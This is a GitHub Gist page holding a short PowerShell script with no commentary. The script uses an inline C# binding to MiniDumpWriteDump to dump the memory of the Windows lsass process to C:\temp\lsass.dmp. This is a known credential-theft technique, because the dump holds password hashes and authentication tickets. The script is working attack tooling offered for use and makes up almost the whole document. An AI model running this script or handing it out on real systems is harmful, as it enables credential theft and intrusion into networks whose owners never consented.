-
-
Save andreyglauzer/d019b785023340f39c8e8eb2161ac04f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $Source = @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| namespace ProcDump { | |
| public static class DbgHelp { | |
| [DllImport("Dbghelp.dll")] | |
| public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); | |
| } | |
| } | |
| "@ | |
| If (-Not "ProcDump" -as [Type]) { | |
| Add-Type -TypeDefinition $Source | |
| } | |
| $Process = [System.Diagnostics.Process]::GetProcessesByName("lsass") | |
| $DumpPath = "C:\temp\$($Process.Name).dmp" | |
| $DumpStream = [System.IO.FileStream]::new($DumpPath, [System.IO.FileMode]::Create) | |
| $DumpType = [IntPtr]::new(2) | |
| $Dump = [ProcDump.DbgHelp]::MiniDumpWriteDump($Process.Handle, $Process.Id, $DumpStream.Handle, $DumpType, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) | |
| $DumpStream.Dispose() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment